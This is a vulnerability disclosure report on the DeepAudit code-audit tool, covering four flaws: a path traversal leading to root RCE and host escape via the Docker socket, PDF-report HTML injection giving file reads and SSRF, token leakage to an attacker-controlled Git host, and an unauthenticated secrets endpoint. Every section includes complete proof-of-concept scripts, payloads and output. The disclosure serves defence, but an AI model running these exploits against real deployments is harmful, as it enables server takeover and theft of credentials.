DeepAudit Vulnerability Report
Software: DeepAudit
Developer or vendor: lintsinghua
Code repository: https://github.com/lintsinghua/DeepAudit
1. Code Execution on the Server via Project ID Path Traversal
| Brief description: | An attacker controls Project.id through project import and then writes to a chosen path through the ZIP upload endpoint, eventually overwriting main.py to achieve RCE. |
|---|---|
| Affected versions: | 2.0.0-beta.1 to 3.0.4 (ZIP storage and import were introduced in bfef3b3). |
| Preconditions: | The attacker has a regular user account, and the target can reach a Git repository provided by the attacker. |
Root Cause
/database/import only checks the user ID in the imported file and then uses the string from the request body as Project.id:
# backend/app/api/v1/endpoints/database.py:202-251 commit 5ee9e2297b
async def import_database(...):
...
data = import_data["data"]
if data.get("user", {}).get("id") != current_user.id:
raise HTTPException(status_code=403, detail="只能导入自己的数据")
...
if "projects" in data:
for p_data in data["projects"]:
existing = await db.get(Project, p_data.get("id"))
if not existing:
project = Project(
id=p_data.get("id"),
...
owner_id=current_user.id,
)
The project_id of /scan/upload-zip is a Form parameter with no UUID or path format validation:
# backend/app/api/v1/endpoints/scan.py:230-268 commit 5ee9e2297b
async def scan_zip(
...
project_id: str = Form(...),
...
):
project = await db.get(Project, project_id)
...
await save_project_zip(project_id, file_path, file.filename)
save_project_zip concatenates project_id with the extension and copies the file with shutil.copy2:
# backend/app/services/zip_storage.py:22-48 commit 5ee9e2297b
def get_project_zip_path(project_id: str) -> Path:
return get_zip_storage_path() / f"{project_id}.zip"
def get_project_zip_meta_path(project_id: str) -> Path:
return get_zip_storage_path() / f"{project_id}.meta"
async def save_project_zip(project_id: str, file_path: str, original_filename: str) -> dict:
target_path = get_project_zip_path(project_id)
meta_path = get_project_zip_meta_path(project_id)
shutil.copy2(file_path, target_path)
When project_id is an absolute path, Path discards the storage directory prefix, so the target path becomes the location chosen by the attacker. With an additional symlink, shutil.copy2 follows the link and writes to the file the link points to.
The symlink comes from the repository clone of an Agent task. With repository_type=other, the server clones the attacker repository to /tmp/deepaudit/<task_id> with git clone, and Git preserves symlinks in the repository:
# backend/app/api/v1/endpoints/agent_tasks.py:2278,2565-2571 commit 5ee9e2297b
base_path = f"/tmp/deepaudit/{task_id}"
...
["git", "clone", "--depth", "1", "--branch", branch, auth_url, base_path]
The backend of the official compose uses uvicorn --reload:
# docker-compose.yml:46,69 commit 5ee9e2297b
volumes:
- /var/run/docker.sock:/var/run/docker.sock
command: sh -c ".venv/bin/alembic upgrade head && .venv/bin/uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload"
An attacker first creates the symlink evil.zip -> /app/app/main.py in a Git repository and then writes content to evil.zip through the path traversal. main.py is overwritten, and uvicorn --reload executes the new code when it reloads.
In the official compose, the backend mounts the host Docker socket, so RCE inside the container allows the attacker to read and write the host file system.
Reproduction Environment
The lab uses the official compose deployment:
git clone https://github.com/lintsinghua/DeepAudit.git
cd DeepAudit
cat > backend/.env <<'EOF'
SECRET_KEY=test-secret-key-for-deepaudit-report
LLM_PROVIDER=openai
LLM_API_KEY=sk-report-test
LLM_MODEL=gpt-4o-mini
GITHUB_TOKEN=ghp_REPORT_TEST
GITLAB_TOKEN=glpat-REPORT_TEST
GITEA_TOKEN=gitea-REPORT_TEST
OPENAI_API_KEY=sk-proj-REPORT_TEST
EOF
docker compose up -d --build
Run docker compose down -v before each reproduction to rebuild the environment. Create a Git repository with a symlink on the attacker host, and start git daemon. In the commands below, 192.0.2.10 stands for the attacker host:
mkdir -p /tmp/evil-repo
cd /tmp/evil-repo
git init -b main
ln -s /app/app/main.py evil.zip
git add evil.zip
git -c user.email=report@example.com -c user.name=report commit -m init
git clone --bare . /tmp/git-root/evil.git
git daemon --export-all --base-path=/tmp/git-root --reuseaddr --listen=0.0.0.0 --port=9418
Reproduction
Register an account, create a project with repository_type=other, start an Agent task, and wait for the repository to be cloned to /tmp/deepaudit/<task_id>:
import io
import json
import time
import httpx
BASE = "http://127.0.0.1:8000/api/v1"
ATTACKER = "192.0.2.10"
c = httpx.Client(timeout=60)
email = f"zip-rce-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
"email": email,
"password": "Passw0rd!123",
"full_name": "zip",
})
token = c.post(f"{BASE}/auth/login", data={
"username": email,
"password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
user_id = c.get(f"{BASE}/users/me", headers=headers).json()["id"]
repo = c.post(f"{BASE}/projects/", headers=headers, json={
"name": "repo",
"source_type": "repository",
"repository_url": f"git://{ATTACKER}:9418/evil.git",
"repository_type": "other",
"default_branch": "main",
}).json()
agent_task = c.post(f"{BASE}/agent-tasks/", headers=headers, json={
"project_id": repo["id"],
"name": "clone",
}).json()
time.sleep(6)
task_id = agent_task["id"]
target = f"/tmp/deepaudit/{task_id}/evil"
payload = {
"data": {
"user": {"id": user_id},
"projects": [{
"id": target,
"name": "zip",
"source_type": "zip",
}],
}
}
c.post(
f"{BASE}/database/import",
headers=headers,
files={"file": ("data.json", json.dumps(payload).encode(), "application/json")},
)
code = b"""import os
os.system('id > /tmp/rce-marker')
try:
import docker
docker.from_env().containers.run(
'postgres:15-alpine',
entrypoint=['sh', '-c'],
command=['id > /host/tmp/host-root-marker; cp /host/etc/passwd /host/tmp/host-passwd'],
volumes={'/': {'bind': '/host', 'mode': 'rw'}},
privileged=True,
remove=True,
)
except Exception as e:
open('/tmp/rce-docker-error', 'w').write(repr(e))
from fastapi import FastAPI
app = FastAPI()
"""
c.post(
f"{BASE}/scan/upload-zip",
headers=headers,
data={"project_id": target},
files={"file": ("evil.zip", io.BytesIO(code), "application/zip")},
)
print("task_id:", task_id)
print("target:", target)
After uvicorn --reload detects that /app/app/main.py has been overwritten, it reloads and executes the payload as root. Wait a few seconds and check the marker inside the container:
docker compose exec backend cat /tmp/rce-marker
The output is:
uid=0(root) gid=0(root) groups=0(root)
The payload starts a privileged container through the host Docker socket and mounts the host root file system at /host, so the host side shows:
cat /tmp/host-root-marker
cat /tmp/host-passwd
The output is:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
This attack chain overwrites main.py, which is the simplest destructive approach. It is also possible to write another .py file and achieve RCE without breaking normal system operation.
2. Server-Side File Read and SSRF via PDF Report subtitle Injection
| Brief description: | The project name reaches the PDF report subtitle without HTML escaping, so an attacker can make the server read local files or access internal addresses. |
|---|---|
| Affected versions: | 3.0.2 to 3.0.4 (the report export feature was introduced in c0ac7d0, and the escaping fix in 89ebd4d did not cover subtitle). |
| Preconditions: | The attacker has a regular user account. |
Root Cause
ReportGenerator.generate_task_report builds subtitle from the project name and branch name:
# backend/app/services/report_generator.py:489-499 commit 5ee9e2297b
@classmethod
def generate_task_report(cls, task: Dict[str, Any], issues: List[Dict[str, Any]], project: str = "项目") -> bytes:
score = task.get('quality_score', 0)
context = {
'title': '项目代码审计报告',
'subtitle': f"项目: {project} | 分支: {task.get('branch_name', 'default')}",
The template inserts subtitle into HTML verbatim, and the Template used for rendering has autoescaping disabled:
# backend/app/services/report_generator.py:294-300,454-461 commit 5ee9e2297b
<div class="title-group">
<h1 class="title">{{ title }}</h1>
<div class="subtitle">{{ subtitle }}</div>
</div>
...
template = Template(cls._TEMPLATE)
_process_issues calls html.escape on the issue title, description, suggestion, file_path, and code_snippet, but subtitle does not pass through that code:
# backend/app/services/report_generator.py:406-447 commit 5ee9e2297b
@classmethod
def _escape_html(cls, text: str) -> str:
if text is None:
return None
return html.escape(str(text))
@classmethod
def _process_issues(cls, issues: List[Dict]) -> List[Dict]:
...
item['suggestion'] = cls._escape_html(suggestion)
item['title'] = cls._escape_html(item.get('title', ''))
item['file_path'] = cls._escape_html(item.get('file_path'))
The client supplies the project name when it creates a project. The PDF endpoint later reads that name and hands it to WeasyPrint. An attacker sets the project name to a <link rel="attachment"> tag with a file:// or http:// target, and WeasyPrint parses the tag and attaches the target content to the generated PDF.
Reproduction Environment
Reuse the official compose environment from Section 1 and run docker compose down -v before reproduction to rebuild it. Once the environment is up, register a regular account and create a ZIP project.
Reproduction
Set the project name to a payload that reads /etc/passwd, upload a normal ZIP, create a task, and download the task report:
import io
import time
import zipfile
import httpx
from pypdf import PdfReader
BASE = "http://127.0.0.1:8000/api/v1"
c = httpx.Client(timeout=120)
email = f"pdf-report-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
"email": email,
"password": "Passw0rd!123",
"full_name": "report",
})
token = c.post(f"{BASE}/auth/login", data={
"username": email,
"password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
payload = '<link rel="attachment" href="file:///etc/passwd" title="passwd">'
project = c.post(f"{BASE}/projects/", headers=headers, json={
"name": payload,
"source_type": "zip",
"repository_type": "other",
"default_branch": "main",
}).json()
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
z.writestr("hello.py", "print(1)\n")
task = c.post(
f"{BASE}/scan/upload-zip",
headers=headers,
data={"project_id": project["id"]},
files={"file": ("source.zip", buf.getvalue(), "application/zip")},
).json()
time.sleep(1)
pdf = c.get(f"{BASE}/tasks/{task['task_id']}/report/pdf", headers=headers)
reader = PdfReader(io.BytesIO(pdf.content))
print("status:", pdf.status_code)
print("attachments:", list(reader.attachments))
for name, parts in reader.attachments.items():
print(name)
print(b"".join(parts).decode("utf-8", "ignore")[:2000])
The output is:
status: 200
attachments: ['passwd']
passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Replace file:///etc/passwd with http://127.0.0.1:8000/health, and the generated PDF attachment contains {"status":"ok"}, which shows that the server also sends GET requests to internal addresses.
3. Git Token Leak via GitLab/Gitea Repository URL SSRF
| Brief description: | A repository URL can point at an attacker host, and the server sends the global GitLab or Gitea token to that host when it fetches branches. |
|---|---|
| Affected versions: | 3.0.3 to 3.0.4 (repo_utils.py was introduced in 1c0ec2b, and Gitea support in 0fb10f6). |
| Preconditions: | The attacker has a regular user account, and the target has a GitLab or Gitea token configured. |
Root Cause
parse_repository_url only checks the URL scheme and then uses the netloc of the user-supplied URL as the API host:
# backend/app/utils/repo_utils.py:38-68 commit 5ee9e2297b
parsed = urlparse(repo_url)
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"{repo_type} 仓库 URL 必须使用 http 或 https 协议")
...
base = f"{parsed.scheme}://{parsed.netloc}"
if repo_type == "github":
...
elif repo_type == "gitlab":
...
api_base = f"{base}/api/v4"
elif repo_type == "gitea":
...
api_base = f"{base}/api/v1"
get_gitlab_branches and get_gitea_branches use this base_url to send requests. When the user has not provided a token of their own, gitlab_api and gitea_api fall back to the global configuration:
# backend/app/services/scanner.py:122-152 commit 5ee9e2297b
async def gitea_api(url: str, token: str = None) -> Any:
headers = {"Content-Type": "application/json"}
t = token or settings.GITEA_TOKEN
if t:
headers["Authorization"] = f"token {t}"
...
async def gitlab_api(url: str, token: str = None) -> Any:
headers = {"Content-Type": "application/json"}
t = token or settings.GITLAB_TOKEN
if t:
headers["PRIVATE-TOKEN"] = t
The branch endpoint passes the global token to those functions:
# backend/app/api/v1/endpoints/projects.py:687-751 commit 5ee9e2297b
gitlab_token = settings.GITLAB_TOKEN
gitea_token = settings.GITEA_TOKEN
...
if project.repository_type == "gitlab":
branches = await get_gitlab_branches(project.repository_url, gitlab_token)
elif project.repository_type == "gitea":
branches = await get_gitea_branches(project.repository_url, gitea_token)
An attacker can therefore point repository_url at their own server, and the server sends the global token when it requests /api/v4/... or /api/v1/....
Reproduction Environment
Reuse the official compose environment from Section 1, run docker compose down -v before reproduction to rebuild it, and set test tokens in backend/.env:
GITLAB_TOKEN=glpat-REPORT_TEST
GITEA_TOKEN=gitea-REPORT_TEST
Start a Git API mock on the attacker host that records request headers. In the commands below, 192.0.2.10 stands for the attacker host, and port 8898 is only an example:
import json
from fastapi import FastAPI, Request
app = FastAPI()
LOG = "/tmp/git-mock.log"
def log(request: Request):
with open(LOG, "a") as f:
f.write(json.dumps({
"path": request.url.path,
"headers": dict(request.headers),
}) + "\n")
@app.get("/api/v4/{rest:path}")
async def gitlab(rest: str, request: Request):
log(request)
if rest.endswith("/repository/branches"):
return [{"name": "main"}]
return {}
@app.get("/api/v1/{rest:path}")
async def gitea(rest: str, request: Request):
log(request)
if rest.endswith("/branches"):
return [{"name": "main"}]
return {}
Start the mock service:
uvicorn git_mock:app --host 0.0.0.0 --port 8898
Reproduction
Register a regular account, create a GitLab-type project with the repository URL pointing at the mock host, and request its branches:
import time
import httpx
BASE = "http://127.0.0.1:8000/api/v1"
c = httpx.Client(timeout=30)
email = f"git-ssrf-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
"email": email,
"password": "Passw0rd!123",
"full_name": "git",
})
token = c.post(f"{BASE}/auth/login", data={
"username": email,
"password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
for repo_type in ("gitlab", "gitea"):
project = c.post(f"{BASE}/projects/", headers=headers, json={
"name": repo_type,
"source_type": "repository",
"repository_url": "http://192.0.2.10:8898/group/repo",
"repository_type": repo_type,
"default_branch": "main",
}).json()
response = c.get(f"{BASE}/projects/{project['id']}/branches", headers=headers)
print(repo_type, response.status_code, response.text)
The output is:
gitlab 200 {"branches":["main"],"default_branch":"main"}
gitea 200 {"branches":["main"],"default_branch":"main"}
The mock log on the attacker host is:
{"path": "/api/v4/projects/group/repo/repository/branches",
"headers": {"private-token": "glpat-REPORT_TEST", ...}}
{"path": "/api/v1/repos/group/repo/branches",
"headers": {"authorization": "token gitea-REPORT_TEST", ...}}
4. Unauthenticated Configuration Endpoint Leaks OpenAI API Key and Other Secrets
| Brief description: | /api/v1/config/defaults returns the server GitHub token, GitLab token, and LLM API keys without requiring login. |
|---|---|
| Affected versions: | 2.0.0-beta.1 to 3.0.4 (get_default_config was introduced in f640bfb). |
| Preconditions: | The target has a server-side Git token or LLM key configured. |
Root Cause
The default configuration function in config.py reads secrets from settings:
# backend/app/api/v1/endpoints/config.py:109-150 commit 5ee9e2297b
def get_default_config() -> dict:
return {
"llmConfig": {
...
"openaiApiKey": settings.OPENAI_API_KEY or "",
...
},
"otherConfig": {
"githubToken": settings.GITHUB_TOKEN or "",
"gitlabToken": settings.GITLAB_TOKEN or "",
...
}
}
The corresponding HTTP endpoint has no authentication dependency:
# backend/app/api/v1/endpoints/config.py:152-154 commit 5ee9e2297b
@router.get("/defaults")
async def get_default_config_endpoint() -> Any:
"""获取系统默认配置(无需认证)"""
return get_default_config()
Reproduction Environment
Reuse the official compose environment from Section 1, run docker compose down -v before reproduction to rebuild it, and set test values in backend/.env:
GITHUB_TOKEN=ghp_REPORT_TEST
GITLAB_TOKEN=glpat-REPORT_TEST
OPENAI_API_KEY=sk-proj-REPORT_TEST
Reproduction
Request the endpoint without a Cookie or Authorization header:
curl -s http://127.0.0.1:8000/api/v1/config/defaults
The sensitive fields in the response are:
{
"llmConfig": {
"llmApiKey": "",
"openaiApiKey": "sk-proj-REPORT_TEST"
},
"otherConfig": {
"githubToken": "ghp_REPORT_TEST",
"gitlabToken": "glpat-REPORT_TEST"
}
}
The endpoint also returns server-side key fields such as geminiApiKey, claudeApiKey, qwenApiKey, and deepseekApiKey.